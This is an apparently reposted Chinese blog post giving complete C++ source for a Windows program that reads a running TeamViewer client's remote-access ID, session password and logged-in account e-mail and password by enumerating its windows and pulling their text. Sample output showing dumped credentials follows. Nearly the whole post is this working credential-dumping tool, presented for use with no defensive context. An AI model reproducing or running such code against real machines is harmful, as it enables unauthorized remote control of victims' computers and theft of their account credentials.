zoukankan      html  css  js  c++  java
  • <转载>获取运行中的TeamViewer的账号和密码

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <iostream>
    #pragma comment( lib, "kernel32" )
    #pragma comment( lib, "user32" )
     
    int status = 0;
     
    BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
    {
            const int BufferSize = 1024;
            char BufferContent[BufferSize] = "";
            SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
           
            if (status == 1)
            {
                    printf("%s
    ", BufferContent);
                    status = 0;
            }
     
            if (strstr(BufferContent, "Allow Remote Control") != NULL)
            {
                    status = 1;
                    printf("TeamViewer ID: ");
            }
           
            if (strstr(BufferContent, "Please tell your partner") != NULL)
            {
                    status = 1;
                    printf("TeamViewer PASS: ");
            }
     
            return 1;
    }
     
    BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
    {
            const int BufferSize = 1024;
            char BufferContent[BufferSize] = "";
            SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
           
            if (status == 1)
            {
                    printf("%s
    ", BufferContent);
                    status = 0;
            }
     
            if (strstr(BufferContent, "E-mail") != NULL)
            {
                    status = 1;
                    printf("E-mail: ");
            }
           
            if (strstr(BufferContent, "Password") != NULL)
            {
                    status = 1;
                    printf("Password: ");
            }
     
            return 1;
    }
     
     
    int main()
    {
            HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
     
            if (hwndTeamViewer)
            {
                    EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
            }
           
           
            HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
     
            if (hwndAccount)
            {
                    EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
            }
     
           
            return 0;
    }
    

    C:toolsProjects>TeamViewer_Dump.exe

    TeamViewer ID: 606 151 261
    TeamViewer PASS: 3239
    E-mail: hacked@account.com
    Password: FooPassword123
  • 相关阅读:
    n-1位数
    关于VC预定义常量_WIN32,WIN32,_WIN64
    python中的闭包
    TCP粘包, UDP丢包, nagle算法
    C++中 explicit的用法
    为什么mysql索引要使用B+树,而不是B树,红黑树
    屏障和屏障属性
    带有超时的读写锁
    pthread_mutex_timedlock
    段错误以及调试方式
  • 原文地址:https://www.cnblogs.com/killbit/p/4797549.html
Copyright © 2011-2022 走看看